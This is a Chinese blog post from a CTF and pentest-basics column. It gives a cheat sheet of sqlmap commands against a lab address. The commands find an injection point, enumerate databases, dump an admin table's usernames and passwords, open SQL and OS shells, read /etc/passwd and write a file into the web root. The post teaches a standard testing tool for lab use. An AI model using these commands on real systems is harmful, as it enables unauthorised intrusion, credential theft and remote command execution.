Sqlmap简单粗暴

最新推荐文章于 2021-05-17 17:15:43 发布

夜车星繁

最新推荐文章于 2021-05-17 17:15:43 发布

阅读量274

点赞数

分类专栏： ctf 渗透基础

本文链接：https://blog.csdn.net/weixin_44740377/article/details/101116538

版权

16 篇文章 0 订阅

订阅专栏

15 篇文章 1 订阅

订阅专栏

Sqlmap是一个专业的SQL注入工具，用法也很多，具体可以用"sqlmap -hh"查看完整的命令帮助文档，我这只是给大家分享一些最常用的Sqlmap用法：

1、检查注入点

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11

2、爆所有数据库信息

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --dbs

爆当前数据库信息

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --current-db

3、列出指定数据库所有的表名

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 -D fujieace --tables

'fujieace' 为指定数据库名称

4、列出指定表名的所有列名

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 -D vhost48330 -T admin --columns

'admin' 为指定表名称

5、dump打印输出表名指定列名字段的值数据

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 -D vhost48330 -T admin -C name,password --dump

'name，password' 为指定字段名称

1、列出数据库管理系统用户：

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --users

查看当前连接数据库用户：

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --current-user

2、判断当前用户是否是DBA？

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --is-dba

3、查看用户权限：

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --privileges

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --privileges -U fujieace

1、sql shell

这里通过sqlmap可以直接获取一个sql shell，直接执行sql语句进行交互。

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --sql-shell
sql-shell> select version();

注意：这里由于进入了sql shell可以执行sql语句了，也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入；

2、cmd shell

这里通过sqlmap可以直接获取一个cmd shell，直接执行cmd命令进行交互。

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --os-shell

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --os-cmd=ipconfig

3、读取服务器上指定文件

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --file-read=/etc/passwd

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --file-read=d:/test.txt

4、写入本地文件到服务器上

root@kali:/# sqlmap -u http://192.168.1.104/sql.php?id＝11 --file-write /test/test.txt --file-dest /var/www/html/1.txt

有道云：文档：Linux提权.note
链接：http://note.youdao.com/noteshare?id=949a8be542852f8f7bdc2c9404d8bf5f

关注